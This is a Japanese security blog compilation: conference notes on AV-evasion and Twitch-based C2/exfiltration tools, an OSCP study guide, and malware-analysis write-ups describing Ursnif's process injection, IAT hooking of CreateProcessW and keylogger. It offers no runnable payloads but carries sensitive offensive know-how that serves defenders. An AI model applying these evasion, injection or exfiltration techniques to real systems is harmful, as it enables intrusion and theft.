多層防御に対抗して、多層的に回避するテクニック・ツールの紹介。 シグネチャヒューリスティック/振る舞い検知に対し、実行前・実行中・実行後の各段階での検知回避を行う。

AVのBlockは、Scanners, Emulators, Sensors, Unpackersがある。 まず実行前にPassiveとActive Scan, 実行中の検知、実行後の検知、そしてCloud Engineによる検知プロセスを経て、悪性かどうかを判断する。 これに対抗するため、Collection Evasion, Logical Evasion, Clasification Evasion, Temporal Evasion, Technical Evasion, Procedural Evasionを実装する。

面白かったが、非常にレベルが高い&難しく、低レイヤーの話を文章で表現するのは複雑すぎるので省略、Githubは以下。

https://github.com/thomasxm/BOAZ_beta

GlytchC2: Command execution and data exfiltration of any kind through live streaming platforms

トルコの友人のDemo Labsでの発表。

Twitch などのライブストリーミングプラットフォームを利用して、C2(コマンド&コントロール)およびデータの盗み出しを行うためのポストエクスプロイト用ツール。 以下のことが可能。

  1. リモートホスト上での OS コマンド実行
  2. リモートホスト上の ファイル取得

PNG画像にコマンドをエンコード/デコードすることによってこのテクニックを実現。デモでは通信に少し時間はかかるが、Twitchを利用してPowershellのコマンドの送受信が行われていた。 今後はYouTubeInstagramを介して、本手法を実装予定。

https://github.com/ccelikanil/GlytchC2

以上です、完全に自分用のメモでした。

いくつか海外のカンファレンスにも参加しましたが、やはりラスベガスは超大規模ですし、お祭り感があって楽しいですね。 来年も発表ネタを作って、参加したいな(そのためには頑張らねば・・・)。

まだBlack Hatはアーカイブが見れるので、機会があればまたまとめようと思います(こういう時は大抵やらない)。

OSCP受験記&勉強方法

OSCPを受験して合格しました!久々の記事更新ですね・・・実は転職をしたので色々とバタバタしていました。
本来、このブログは前職のチーム非公式のブログなのですが、更新していたのがほぼ自分一人で、このままブログが閉鎖されるのも寂しいので、転職すると同時にこのブログもいただくことにしました。今まではユーザ系の企業に努めていましたが、2020年5月より準セキュリティベンダーに転職しました。転職理由は・・・どうしてもネガティブな理由が含まれてしまうので、やめておこうと思います。一言だけ記載すると、前職だと自身のキャリアが見えなかったというのが大きな理由だと思います。
本題に戻すと、ちょうどこの前の4連休(9月20日)にOSCPを受験して、無事合格しました。OSCP受験記も最近増えて来ている気がしますが、まだまだ少ないので受験期&どのように勉強したかを載せていこうと思います。OSCP合格を目指している人に少しでも参考になればなあと思います。OSCP自体については、下記ブログ等で記載されているので、そちらをご参照ください。
・資格「OSCP」について
https://medium.com/yuikuras-cracking-lab/%E8%B3%87%E6%A0%BC-oscp-%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6-3846cab4bd40

 

■そもそも自身のスキル・自己紹介
個人のブログになったこと、元々のスキルが不明だと参考にならないと思うので、これを機に自己紹介します。セキュリティ経験は3年半程度です。そのうち、1年間は海外にいたこともあり、その時はそこまでセキュリティ業務に携われなかったので、実質は3年程度のまだまだ初心者だと思います。そのうち、ほとんどはユーザ系企業のセキュリティチームで、IRやブログに書いてあるようなマルウェア解析、SIEMの監視などをしていました。レッド系の経験は全くなく、攻撃系のスキルはCTFでバッファオーバフローや代表的なWebの攻撃をしたことがあるぐらいでした。CTFもブログに書いてあるようにまだまだ初心者なので、いわゆる学生時代からCTFをやっていたような凄まじい人でもなく、レッド系の経験もない一般的なセキュリティチームの人です。

 

■試験当日の様子
17時から試験開始しました。3回の試験チャレンジをした経験上、ちょうど試験の真ん中で、睡眠というリセットを設けられる夕方から試験をするのが自分には合っていました。とはいえ、試験が気になるので3時間程度しか寝れなかったですが・・・ご飯もしっかり食べると集中力が切れるので、おにぎりといった軽食や、レッドブルやコーヒーで強制的にONの状態を作っていました。ただ、気分転換も重要なので朝に散歩行ったりもしました。
試験では10点、20点が2つ、25点が2つのマシン(1つはバッファオーバーフロー)を用意されますが、私が解けたのは25点2つと10点のroot、20点のマシンのuser権限のみでした。70点で合格のため、user権限のみでどれだけ部分点をくれるかという勝負になり、合格発表まで冷や冷やでした・・・終了後はメールの合否発表や合格・不合格について話しているDiscordのスレッドをみていて、なかなか仕事に集中できなかったですね・・・
BOFは1時間、10点の問題も1時間で終え、20点と25点のユーザ権限もそれぞれ2時間程度で取得できたので、順調と思ったのですが、そこから地獄でした。両方なかなかroot権限を取得できず、睡眠後の次の日も解けず、結局ほぼ諦めモードだった試験終了の3時間前でようやく25点問題のrootを取得できました。原因はenum不足なので、ツールを使うのも良いですが、しっかりと自身の手でマニュアルでマシンをチェックすることも重要です。そこで合格ボーダーラインに乗ったので、再びやる気がついて、20点問題の権限昇格を再度狙ったのですが、最後までこちらはできませんでした。ちなみにもう1つの20点問題は全く検討もつきませんでした。ボーダーライン上なので、少しでも部分点を取ろうと、権限昇格できなかったマシンもDBのCredentialsや発見した脆弱性等を全てレポートに書き込みました(これが効果があったかはわかりません)。

 

■OSCPを受験して得られるスキル

当然ですが、攻撃スキルが身につくので、レッド系をしている人・または目指す人にはベストな試験だと思います。また、私のようなブルー系の人でもよく言われるように攻撃スキルを身に着けることで、攻撃者の思考パターンを先読みできるというのは間違いないと思います。より具体的には、今までなんとなく危ないと思って対応していたログ分析やEDR対応、例えばSMB通信が発生していたり、tasklistコマンドやcertutilコマンドを利用されている場合など、感覚で対応していた部分がより具体的にどういう脅威・リスクがあるかをよりイメージできるようになったと感じています。また、threat huntingといった業務にも有効かと思います。

 

■OSCPを受験したスケジュール

2020年1月からOSCPを申込みました。愚かな自分は上に書いた通り、何も攻撃スキルを勉強しないまま突撃しました。OSCPを受講しながら、スキルを身につければいいだろと思ってましたが、これが大失敗でした。基本的にOSCPはドSな試験で、手取り足取り教えてくれる試験ではありません。テキストと動画、ラボ環境を与えられるだけで、あとは放置されます。さらにラボの攻略方法を書いてあれば良いですが、掲示板にヒントがあるだけで、解説はありません。掲示板でヒントを求めても、OSCPでは"TRY HARDER"(日本語だと”もっとがんばれ")という考えが根底にあり、丸投げの質問をすると"TRY HARDER"で瞬殺される時があります。そのため、1ヶ月のPDF読み込み期間、そのあとラボに向かうもヒントだけでは何をすればまるでわからず、放心状態の期間が数週間あったので、めちゃくちゃ無駄な期間でした。結局1ヶ月ラボの延長を申し込むので、無駄な費用と時間が発生しました。

後に紹介するHack The BoxやVulnhubはWriteupがあるので、まずそこで基礎を固めてから、OSCPに申し込むことを推奨します。ただし、私のように、まず申し込んで退路を絶ってからでないとやる気が出ない場合もあるので、そういう意味ではまず申し込むのもアリかもしれません。

試験自体は、4月の記念受験、7月のリベンジ、9月の再リベンジと3度試験を受けました。

 

■勉強方法
ここからメインである、レッド未経験の筆者が行った勉強方法を記載していこうと思います。基本的には様々な攻撃・解法を覚える解法暗記を行っていました。

OSCPやHack The Boxで攻略する時、この攻撃・脆弱性を知らないと解けるわけないだろという問題に多く遭遇しました。中級以上の難易度だと、攻略への誘導もないことも多いので、脆弱性ぐぐる方向性すらわからず、ひたすら時間が溶けるということが多くありました。そのため、とにかく大きな解法を実践・暗記することを重要視したので、ヒントやWriteupも最初からみていました。

本番は当然ヒントはないので、ヒント等は極力みないことをおすすめしている人もいるので、この辺りは向き・不向きがあります。ただし、OSCPラボの場合、他からクレデンシャルを盗まないと解けない場合もあり、その場合そのマシンのEnumに要した時間がもったいないので、少なくとも直で攻略できるかどうかは確認することを推奨します。

自身の場合は、OSCPラボと後に出てくるHack The BoxのActiveはヒントのみ、それ以外は基本的にWriteupをみながら解いていました。Writeupを見るだけでもある程度勉強にはなるのですが、やはり自身の中で吸収できる量が変わりますし、何より使っているツールのバージョン等で異なり、Writeupの通りにしても動かないということがよくあります。例えば、自身の場合はWordPressのスキャンツールwpscanがうまく動かず、updateしたり、aggresiveオプションが必要だったりで、多くの無駄な時間を使ったことがありました。極力手を動かすことをおすすめします。
解法を覚えるといっても、Outputがなく、ただマシンを解きっぱなしだと忘れてしまうので、以下の2つを作成しました。
・自分なりのCheatSheet
・自分なりのマシン攻略メモ

 

■自分なりのCheatSheet
このCheaSheetにコマンドの使い方はもちろん、Enumの方法をメモしています。筆者の場合は、下記の通りOnenoteにして、セクションを利用しながらCheatSheetを作りました。もし、攻略マシンがSMBのサービスがOpenな場合は、SMBのセクションを開いて、機械的にそこに書いてあるコマンドを実行していきました。試験時は時間もなく、体力もかなり消費するので、Enum(情報収集)は極力頭を使わず、機械的に実行できるように心がけました(スクリプトを作っても良いと思います)。

f:id:bankingmalware:20200927094922p:plain

CheatSheetのキャプチャ

ゼロベースで作るのは大変だと思うので、他の方が作られたのをベースにするのも良いかと思います。筆者の場合は、高林さんのブログとHack Tricksを勝手ながら自分のOnenoteによくコピペさせていただきました(上の画像もだいぶコピペがあります・・・)。ただし、利用しているツールのバージョンが異なり、コマンドが違うという時もあるので、適宜自身の環境に修正していくことが重要です。かなりコピペがあるので、自身のCheatSheetを公開することは控えようと思います。
・高林さんのCeatSheet
https://kakyouim.hatenablog.com/entry/2020/05/27/010807
https://kakyouim.hatenablog.com/entry/2020/04/17/182049
・HackTricks
https://book.hacktricks.xyz/

 

■自分なりの攻略メモ
攻略メモに各種Machineの攻略法をメモしていきました。もちろん、すでに多くのWriteupが存在しますが、個人的には一覧化されている方が過去の似た問題を探すときに便利なので、excelで一覧化していました。こちらの攻略メモは公開するので(OSCPのラボやHTBのActiveのメモは公開していません)、このメモがお役に立てば嬉しいです(これを作るだけでかなり時間がかかった気がします・・・あくまで自分用のメモで公開用の質ではないので、参考程度で捉えてください)。とはいえ、Writeupがあるマシンは、Writeupをみながら攻略・メモして理解・覚えるというサイクルを高速で回したので、1日1台くらいはできたと思います。

(Public)OSCP攻略メモ.xlsx - Google ドライブ


メモするだけでなく、OS、Initialシェルに利用したサービス、Summary等も記載しました。Summaryは内容を見るだけである程度問題が思い出せる程度の記述をしています。また、Exploitに利用したサービスを記載して、試験等でInitialShellで行き詰まった場合は、同様のサービスでフィルタリングして似たようなMachineがなかったかを探すようにしていました。
上に書いた利用法も想定していますが、もう1つは取り掛かるべき問題かどうかの判断材料にも使えると思います。当然ですが、マシンを攻略すればするほど攻略方法が重複するのも出てきて、この解法知ってるよという状況は増えてきます。また、CTFLikeな問題もあり、OSCP合格のためにベストではない問題もあったりします(例えばひたすら暗号解読のためのプログラムを作るような問題はOSCPには向いていない気がします)。

時間は有限なので、自身の苦手分野を埋めるようなマシンを優先的に攻略することをおすすめします。特に様々なサービスへのアプローチ方法を実践することが重要です。ターゲットを絞らないと、httpやsmb、ftp等は頻出サービスなので慣れますが、snmpldapsmtpといった準頻出サービスは列挙方法や接続コマンド方法がわからないということもあるかと思います。

 

■解法暗記のためにどのようなサービス・マシンを利用したか
基本的にはHack The Box(HTB), Vulnhub、TryHackMeが主なサービスになると思います。特にHTBはWriteupも充実しており、一番メインで利用していました(2ヶ月だけ有料会員になって、過去のマシンを攻略しました)。HTBで攻略すべきリストはTJnullさんが作成してくれています。More challengingはやっていないマシンもありますが、それ以外は基本的に攻略したので、上の攻略メモにも記載があると思います。
https://www.netsecfocus.com/oscp/2019/03/29/The_Journey_to_Try_Harder-_TJNulls_Preparation_Guide_for_PWK_OSCP.html#vulnerable-machines
https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=1839402159
攻略メモを作成するにあたり、参考にしたWriteupはIppsecが出しているYoutubeの解説動画とrana__khalilさんが作成された下記ブログを主に参考にしていました。
https://rana-khalil.gitbook.io/hack-the-box-oscp-preparation/
IppsecのYoutube動画が最も詳しくて、攻略への過程もわかるのでベストだと思いますが、1時間以上におよぶ動画もあって、字幕ありとはいえかなり労力が必要なので、面倒な時はrana__khalilさんのブログを参考にしていました。ブログのUIもWriteupを探しやすく、Metasploitも使わず、別解とか要約セクションもあったりするので、かなり質が高いと感じました(正直、公式のWriteupより参考になります。おそらくippsecの動画もみながら作られているのではと推測しています)。日本語だと、sanpo_shihoさん、yukitsukai47さん、v_avengerさん等がよくWriteupを書いていただいているので、英語記事を読むのがしんどい時は日本語のWriteupを読んでいました。
https://qiita.com/sanpo_shiho
https://qiita.com/yukitsukai47
https://qiita.com/v_avenger
また、security_indexさんが日本語のWriteupをまとめていただいてます。
https://security-index.hatenablog.com/entry/2020/08/30/163229
Vulnhubは先ほどのv_avengerさんが解説されているMachineを中心に攻略しました。Try hack meは無料で挑戦できるWindowsマシン程度しかできなかったですが、こちらも良いサービスです。特にHack The Boxと違い、誘導があるので、より初心者に向いています。2つの違いはsanpo_shihoさんの下記ページで解説されています。
https://sanposhiho.hatenablog.com/entry/2020/05/17/163450
あと、知名度はそこまで高くない?気もしますが、CybersecLabsにある無料枠4台も良問でした。特にWindows問はVulnhubにはなく、数が少ないので、おすすめです。
https://www.cyberseclabs.co.uk

 

HTBがまだ難しい人向けの教材(初級者向け)
HTB等がまだ難しい人は日本語の教材をみて、基礎を固めた方が良いと思います。そういう人向けにOSCPの教科書(PDFファイル)が配布されるのですが、おそらくこれを真剣に読もうとすれば、そこで挫折する可能性が高いです(自分もそうでした)。極力、PDFファイルの内容はOSCP受講前(最低限下記の項目)に理解できていることを推奨します。PDFファイルを読む時間をスキップして、ラボ環境の攻撃に時間を作ることが重要となります(とはいえ、24章のAssembling the Pieces: Penetration Test Breakdownは参考になるテクニックが多いので、この章は熟読推奨です)。

>そもそもハッキングがなんぞやという人に
そもそもハッキングがなんぞやという人にはまず下記の教材でMetaploitの使い方等の基礎を固めた方が良いと思います。非常に有名な本です。
・ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習
また、Kali Linuxを使ったことがない人は、下記本も良いと思います。Kindle Unlimitedだと無料で読めるので、私もダウンロードして読んでいました。Kali Linuxの使い方やnmapのスキャンといった標的を攻略するための流れがまとまっているので、おすすめです。
・Kali LinuxビギナーズガイドⅠ: インストールとテストラボのセットアップ
・Kali LinuxビギナーズガイドⅡ: ツールの使い方1
・Kali LinuxビギナーズガイドⅢ: ツールの使い方2

 

BOFがわからない人向け
OSCPだと必ず、BOFの問題が出ます。一番簡単かつ25ポイント問題なので、ここを確実に得点源にできるようにしましょう。自身の場合はCTFのために、下記本を読んでいました(OSCP挑戦前の話です)。丁寧にBOFの説明が書かれている印象です。CTFの本でも良いですが、pwnの部分は少し説明が厳しかったので、下記の方が良いかと思います。ただし、OSCPのBOFWindows(絶対ではないかも?)なので、Windows系のBOFは攻略メモでも書いた、”dostackbufferoverflowgood"やVulnhubの”brainpan”等で理解を深めるようにしましょう。自身も試験前日は上の2問をといて、BOFはすぐに1時間前後で解けるようにしていました。
・コンピュータハイジャッキング

 

>Web系の攻撃方法がわからない人向け
HTB等をやればわかる通り、半分程度はWebから攻略するマシンになるので、Webからの代表的攻撃は必ず理解を深めましょう。逆に得意になれば得点源となります。通称徳丸本で知られる下記本が良いと思います。レッドよりの本ではないですが、攻撃・守り両方カバーされており、何よりセキュリティ業界にいると非常に有名な本です。自身も恥ずかしながら積読してしまっていたので、CTFである程度Webの基礎知識はありましたが、これを期に一読しました。
・体系的に学ぶ 安全なWebアプリケーションの作り方 第2版

 

HTB等と並行して読むべき教材
下記は初級者向けではありませんが、OSCPにおいて弱点になりがちな分野なので、HTB攻略と並行して、特に時間を割いてスキルを磨いてました。机の前で作業をするやる気が出ない時は、ソファーでタブレットを使ってinputに専念していました。

 

Windows分野の攻略
いろいろな人のoscp reviewをみていると、Windowsを苦手とする人が多い印象です。自身も同様です。そもそも、Windowsのコマンドもよく知らない状態でした(scコマンドでbinpathあたりを変更しようとしたときに、スペースがないとエラーになったりとかでイライラした記憶があります)。AD周辺も複雑で、OSCPのガイドでもかなりのページが割かれています。Windows全域をカバーはできませんが、ADに限定すれば、ALLSAFEから出ている"ミミミミミッミ"が参考になりました。mimikatzを使いながら、AD環境の攻略の理解を深めれます。
・ミミミミミッミ
https://techbookfest.org/product/5630674958548992
下記の本も参考になると思います。多分レッド系だと最も有名な本の1つです。ただ、レベルが高くて量も多く、OSCPの分野ではないことも多い(例えばNWのクラックやソーシャルエンジニアリングなど)ので、部分的に読むことをお勧めします。
・サイバーセキュリティテスト完全ガイド Kali Linuxによるペネトレーションテスト
・サイバーセキュリティ レッドチーム実践ガイド

 

>権限昇格
ここをクリアできずにギリギリ落ちる人が多い印象です。自身も受かりましたが、もっと勉強すれば良かったと試験中後悔しました。難しい分野ですが、個人的にはInitial Shellよりもパターン化されており、その分上級者との差がつきやすい分野だと感じました。権限昇格はTib3riusさんがUdemyで出している講座が良かったです。講座も1.5時間程度なので、直前でも間に合います。TwitterでTib3riusさんをフォローしているとたまにクーポン情報をツイートしているので、25%OFFの1800円で購入しました。
Windows Privilege Escalation
https://www.udemy.com/course/windows-privilege-escalation/
Linux Privilege Escalation
https://www.udemy.com/course/linux-privilege-escalation/

 

■その他
その他として、受験の際、自身が知りたかったことを自問自答方式で答えようと思います。

■何問解けば合格できるのか?
この問は勉強中、不安になって1000回くらい自問自答していました。正直、答えはないですが、最低限TJnullさんが推薦しているLinuxWindowsHTBのマシン49台とOSCPのラボ30台程度で80問程度解いてないと、知っている解法が少ないかなというが率直な思いです(もちろん、各々の初期スキルやセンスにもよります)。私の場合は、攻略メモであげた通り、HTBのRetiredMachineを中心とした75台、OSCPのラボ51台、HTBのActiveマシン15台の141台解いていました。HTBはいつの間にかPro Hackerになっていました。
OSCPラボだけで合格は少し厳しい印象を持っています。高林さんの下記受験期にも載っているように、ラボのマシンよりも試験の方が難しいです。そのため、HTBは攻略しておいた方が良いかと思います。逆に、HTBを極めると、必ずしもOSCPラボは必要ではないのではとも思っています。
https://kakyouim.hatenablog.com/entry/2020/05/11/225348

 

■勉強しても落ちてモチベーションが続かない
この気持ちは非常にわかります。自身も1回目は明らかに実力不足だったので、仕方ないかぐらいでしたが、2回目に落ちた時は立ち直れないくらいショックで、ちょい鬱になりました。かなり頑張ったにもかかわらず、2回目の試験はBOFと20点問題のInitialShellしか取れず惨敗しました。正直この時の問題が今出ても、スコアはほぼ同じだと思います。スキャン結果はテキストに残すようにして、たまに見返してましたが、攻略の糸口がまるでわかりません。
あまり良い方法かはわかりませんが、OSCPは運ゲーだと無理やり考えて立ち直ることにしました。24時間以内に4台も攻略できるかは、知っている脆弱性・攻略へのプロセスが出るかどうかに依存していると思います。攻略の足がかりが検討もつかない問題・知らない攻撃技術が4つ並ぶと時間不足になるので、落ちた時はたまたま知らない問題が出たと考えるようにして、受かるまで2・3ヶ月ごとに受験しようと切り替えました。そう考えると、自然と次の日は、HTBのVIPに申し込んでいました。

他のセキュリティ試験(CISSPやCEHなど)と違って、試験料は$150でめちゃくちゃ高くはないです。飲み会3回程度断れば元が取れます。受かるまで何度も挑戦しましょう(金銭面よりも体力面がきついですが・・・)。DiscordのOSCPチャンネルを利用するのもモチベーションのキープに役立つかもしれません、

 

■最後に
ここまで読んでいただき、ありがとうございました!!
かなり長くなりましたね・・・一番伝えたかったことは、OSCPは非常に有用な試験でありレッド未経験者でも合格可能、ただし、難しいことは間違いないので、事前に周到に準備しようということです。準備方法は上で記載したようにCheatSheetと攻略メモを作ることです。
この記事で少しでもOSCPを目指す人の力になれば幸いです。何か質問やコメントがあれば、気軽に連絡いただければ嬉しいです。

それではOSCP合格を目指すみなさん、
TRY HARDER!!!!!

 

Ursnif(Dreambot, Gozi)の静的解析レポート~インジェクションされた不正コードからIATフックまで~(2019年4月15日ばらまき分)

前回の記事に続いて再びUrsnifの静的解析について記載していこうと思います。

前回の記事ではUrsnifのExplorerへのプロセスインジェクションの手法について解説しました。今回はExplorerにインジェクションされた不正コードの解析およびIATフック(Import Adderess Table)によって実行される不正コードについて、解析していこうと思います。

 

■解析対象と解析環境(再掲)

2019年4月15日にばらまかれたUrsnifで、jsファイルを経由してread.binというUrsnifをダウンロード・実行するものでした。動的解析結果は以前の記事をご参照ください。

https://bankingmalware.hatenablog.com/entry/2019/04/15/165434

ハッシュ値Sha1)45762C39DE64AB7ACECA9D6367129EC0CE37433D

・ファイル名 read.bin

解析環境としてはWindows7の32ビットを使用。32ビットと64ビット環境では動きが異なることが分かったので、ご注意ください。また、今回の解析のために、キャプチャをとりながら再起動を繰り返しています。そのため、アドレス等について、前項のキャプチャと整合性が合わない部分もありますので、ご容赦ください。なお、もし本記事を参考にして解析する場合は、必ず仮想マシンなど、解析が終わったらすぐに戻せる環境で行い、ネットワークからも隔離した状態で行ってください。

 

Explorerにインジェクションされた不正コードの追跡

・端末のバージョン情報を摂取

下記の通り、GetVersion、GetCurrentProcessId等のAPIを利用して端末やプロセス情報を取得。のちに%temp%に出力。

f:id:bankingmalware:20190628173651p:plain

バージョン情報やプロセス情報を取得し、のちに%temp%配下に出力

 

・Torモジュールのダウンロードおよびレジストリに書き込み

UrsnifはTorClientのDLLモジュールをダウンロードし、C&Cサーバとの通信の隠ぺいを試みます。今回は下記のキャプチャの通り、hxxp://h33a7jzovxp2dxfg[.]onionにアクセスし、またTorClientのモジュール情報がレジストリに書き込まれたことが確認。

f:id:bankingmalware:20190628175235p:plain

Torドメインへのアクセスを試みる様子

 

f:id:bankingmalware:20190628175439p:plain

TorClient追加前のレジストリ

f:id:bankingmalware:20190628175453p:plain

TorClient追加後のレジストリ

キーロガー

キーロガーを実装するためにはいくつかの手法がありますが、本検体ではExplorer.exeにインジェクションされた不正スレッドがGetAsyncKeyState関数を利用して、キーロガーの機能を実装していることが確認されました。

f:id:bankingmalware:20190628175909p:plain

GetAsyncKeyState関数を利用して、キーロガーを実装。キーボードを入力するたびに、本APIが呼び出されることを確認。

 

・CreateProcessWのIATフック

UrsnifはExplorerをインジェクションしたのちに、Explorer及び各DLLのCreateProcess APIをIATフック(Import Address Table)することで、この後Explorer経由で呼び出されるプロセスに対して、インジェクションを試みます。まず、実際にIATがフックされた様子を下記に記載します。

 

f:id:bankingmalware:20190628180937p:plain

Ursnif起動前のIAT。起動前のCreateProcessの開始アドレスは0x76C9204D。

 

f:id:bankingmalware:20190628181151p:plain

Ursnif起動後のIAT。起動後のCreateProcessの開始アドレスは0x76D58000に変更されたことがわかる。

 

・CreateProcessWのIATフックの手法

前項でCreateProcessWのIATフックが行われたことが確認されました。そのIATフックを行う手法についてですが、呼び出し側のプロセスのコミット済みページ領域に対するアクセス権限を変更するVirtualProtect APIを用いて実装されていることがわかりました。下記キャプチャの通り、CreateProcessWの開始アドレスが書き込まれたアドレスから4バイトだけアクセス権限を変更してIATフックが行われていました。

f:id:bankingmalware:20190628183040p:plain

VirtualProtectを呼び出している様子。第1引数にCreateProcessのIATが書かれた先頭アドレス、第2引数が対象のバイト数、第3引数がアクセス権限。本件では0x40でPage_ExecutionReadWriteとしている。

 

f:id:bankingmalware:20190628183559p:plain

CreateProcessWの開始アドレスが書き換えられる直前。本来は0x7598204Dとなっている。

f:id:bankingmalware:20190628183710p:plain

CreateProcessWの開始アドレスが0x7598204Dから0x75A48000に書き換えられた

 

f:id:bankingmalware:20190628183925p:plain

再びVirtualProtectを呼び出している様子。アクセス権限を0x20として、元の値であるPAGE_READとしていることがわかる。

 

・CreateProcessAsUseWのIATフック

上記の処理部分にブレイクポイントを張り、処理を進めた結果CreateProcessAsUseWのIATフックも行われていることが確認された。

f:id:bankingmalware:20190630095004p:plain

Ursnif起動前のCreateProcessAsUseWのIAT。開始アドレスが77787B07となっている。

f:id:bankingmalware:20190630095025p:plain

Ursnif起動後のCreateProcessAsUseWのIAT。開始アドレスが7781800Aに変更された。

 

■CreateProcessのIATフックにより、行われる不正コードの追跡

 ・起動プロセスへのインジェクション

基本的にExplorerにインジェクションしたときと同様の手法(Process Hollowing)で起動プロセスへのインジェクションを行われることが確認できた。ただし、Explorerの際はすでに起動しているプロセス(Explorer)にインジェクションするためOpenProcessでExplorerのプロセスハンドルを得るが、今回はCreateProcessでまずSuspend状態でプロセスを起動し、その後ZwMapViewOfSection等を利用して不正コードを注入する。

それ以外はExplorerと同様のため、詳細な手順は省略します(詳細な手順は前記事を参照。 

f:id:bankingmalware:20190630114251p:plain

CreateProcessを呼び出すときの流れ。第1引数がアプリケーション名であり、今回はIEのパスが格納されている。 第6引数がdwCreationFlagsであり、今回は0x4080414となっている。0x4がサスペンド状態で起動するフラグである(CREATE_SUSPEND)。 参考として、0x400000はCREATE_DEFAULT_ERROR_MODE、0X80000はCREATE_STARTUPINFO_PRESENT、0X400はCREATE_UNICODE_ENVIRONMENTである。 (0X10は不明)

 

f:id:bankingmalware:20190630120455p:plain

ZwMapViewOfSectionの呼び出し。第1引数に不正コード用のSection、第2引数にiexplorerを指定することでSectionをiexplorerにマッピング

 

f:id:bankingmalware:20190630120731p:plain

ZwSetContextThreadの呼び出し。第1引数にiexplorerのスレッドハンドル、第2引数にContextの構造体のアドレスにしてEIPを変更している。iexplorerのスレッドのEIPが左下の赤枠の部分(0x0c0218)に変更される。

このiexplorerに注入された不正コードも簡単に解析してみましたが、explorerに注入された不正コードとほとんど同じ動きが見受けられました。explorerとiexplorerに注入されたRWXの領域のメモリを比較してみましたが、一部の部分は異なりましたが、それ以外は同じバイトだったため、基本的には同じ動きをすると思われます。また、試しにメモ帳や電卓を開いて、iexplorer, calc, notepadに注入された不正コードを比較してみましたがすべて同じでした(この傾向は私の解析環境でブラウザインジェクションも行われた2019年6月17日にばらまかれたUrsnifでも同様でした)。個人的にはブラウザインジェクションを行うため、iexplorerと他のプロセスで注入される不正コードは違うのではと勝手に推測していたため、意外な結果でした。

f:id:bankingmalware:20190630171505p:plain

Explorer(左)とiexplorer(右)に注入された不正コードの比較。本キャプチャのオレンジの部分を除けばすべて同じ。

f:id:bankingmalware:20190630171638p:plain

ixplorer(左)とcalc(右)に注入された不正コードの比較。前半の一部を除けばすべて同じ。

 

■(参考)自動起動設定

%temp%配下にadmkadp.exeという名前で自分自身をコピーし、自動起動となるようにレジストリを修正することが確認された。

f:id:bankingmalware:20190630095441p:plain



 ■まとめ

今回のUrsnifの静的解析により、プロセスインジェクションの手法及びIATフックの手法についてより詳しく理解することができました。逆にブラウザインジェクションの手法及びC&Cとの通信については、今回の検体では動作が観測できなかった(C&Cに関してはすでに落ちた)ため、十分に解析できませんでした。現在、諸事情でIDA Proを現在使えなくなってしまったので、またIDA Proが使えるようになれば時間があるときに解析してみようと思います。

 

■筆者について

筆者は、あくまで最近マルウェア解析をし始めたマルウェア解析初心者です。基本的には独学によりマルウェア解析スキルを身に着けた程度のため、あくまで参考程度にとどめていただければ幸いです。ご質問・ご指摘がある場合、ご連絡いただければ幸いです。

 

■参考文献
今回の解析に当たり、多くのサイトを参考にさせていただきましたが、その中でも特に参考にさせていただいたページを記載させていただきます。
https://www.mbsd.jp/blog/20180607.html
https://www.nttsecurity.com/docs/librariesprovider3/default-document-library/jp_ursnif_20161226
https://www.iij.ad.jp/dev/report/iir/034/01_04.html

 

Ursnif(Dreambot, Gozi)の静的解析レポート(2019年4月15日ばらまき分)

ブログやTwitterでも発信している通り、今年も不審メールのばらまきが引き続き行われています。我々が解析している中で最もばらまきが多いのはUrsnifです。そこで今回、2019年4月15日にばらまかれたUrsnif検体について、初めて静的解析を実施してみました。この解析が他のセキュリティ解析者の方々に少しでも参考になれば幸いです。

 

■1.1 Ursnifとは

Ursnifは別名Gozi、Dreambotとも呼ばれるバンキングマルウェアで、主に下記の機能を持つことが確認されています。

Explorerへのプロセスインジェクション

・バージョン情報やIPアドレス情報等を窃取

キーロガー

・ブラウザインジェクション(今回の検体では未確認)

・ディスプレイの録画機能(今回の検体では未確認)

今回の解析では上の3つの機能を確認できたため、本記事で解析結果を記載しようと思います。

 

■1.2 解析対象と解析環境

2019年4月15日にばらまかれたUrsnifで、jsファイルを経由してread.binというUrsnifをダウンロード・実行するものでした。動的解析結果は以前の記事をご参照ください。

https://bankingmalware.hatenablog.com/entry/2019/04/15/165434

ハッシュ値Sha1)45762C39DE64AB7ACECA9D6367129EC0CE37433D

・ファイル名 read.bin 

解析環境としてはWindows7の32ビットを使用。32ビットと64ビット環境では動きが異なることが分かったので、ご注意ください。 なお、もし本記事を参考にして解析する場合は、必ず仮想マシンなど、解析が終わったらすぐに戻せる環境で行い、ネットワークからも隔離した状態で行ってください。
 

■2.1 プロセスインジェクションの全体像

今回解析した検体では下記のような流れでExplorerにプロセスインジェクションすることが確認されました。主な概要図は下記の通りとなっております。以降でその詳細について、キャプチャを交えて記載していこうと思います。

 

f:id:bankingmalware:20190626192954p:plain

プロセスインジェクションの概要

※今回の解析のために、キャプチャをとりながら再起動を繰り返しています。そのため、プロセスハンドルのIDやアドレスについて、前項のキャプチャと整合性が合わない部分もありますので、ご容赦ください。また、以降のキャプチャではreadOriginal.binとreadUnpacked.binというファイル名も登場しますが、すべてread.binと同一ファイル(正確にはreadUnpacked.binはUPXでアンパックしたファイル)です。

 

■2.2 ①OpenProcessでexplorerのプロセスハンドル取得

まず、UrsnifはOpenProcess APIを利用してExplorerのプロセスハンドルを取得します。

以降、このExplorerのプロセスハンドルを各APIに引数として渡すことで、Explorerと共有する領域Sectionオブジェクトを作成し、インジェクションを試みます。

 

f:id:bankingmalware:20190626193632p:plain

OpenProcessの引数にexplorerのプロセスID(1368=0x558)を指定し、 Explorerのプロセスハンドルを取得

f:id:bankingmalware:20190626193820p:plain

Explorerの引数は1368(0x558)となっている

f:id:bankingmalware:20190626193947p:plain

Explorerへのプロセスハンドルが作成される


■2.2 ②CreateRemoteThreadでexplorer内にスレッド作成

CreateRemoteThread APIの引数に先ほどのexplorerへのプロセスハンドルを渡し、explorer内にSuspend状態のスレッドを作成する(0x4がSuspendであるフラグ)。

f:id:bankingmalware:20190627103012p:plain

CreateRemoteThreadに先ほどのexplorer.exeのプロセスハンドルを渡して、explorer内にスレッド作成

f:id:bankingmalware:20190627103122p:plain

Explorer内にスレッドID200のスレッドが生成され、Ursnfi(read.bin)からは0xecというハンドルになった

■2.2 ③NtCreateSectionにより、Sectionオブジェクト作成
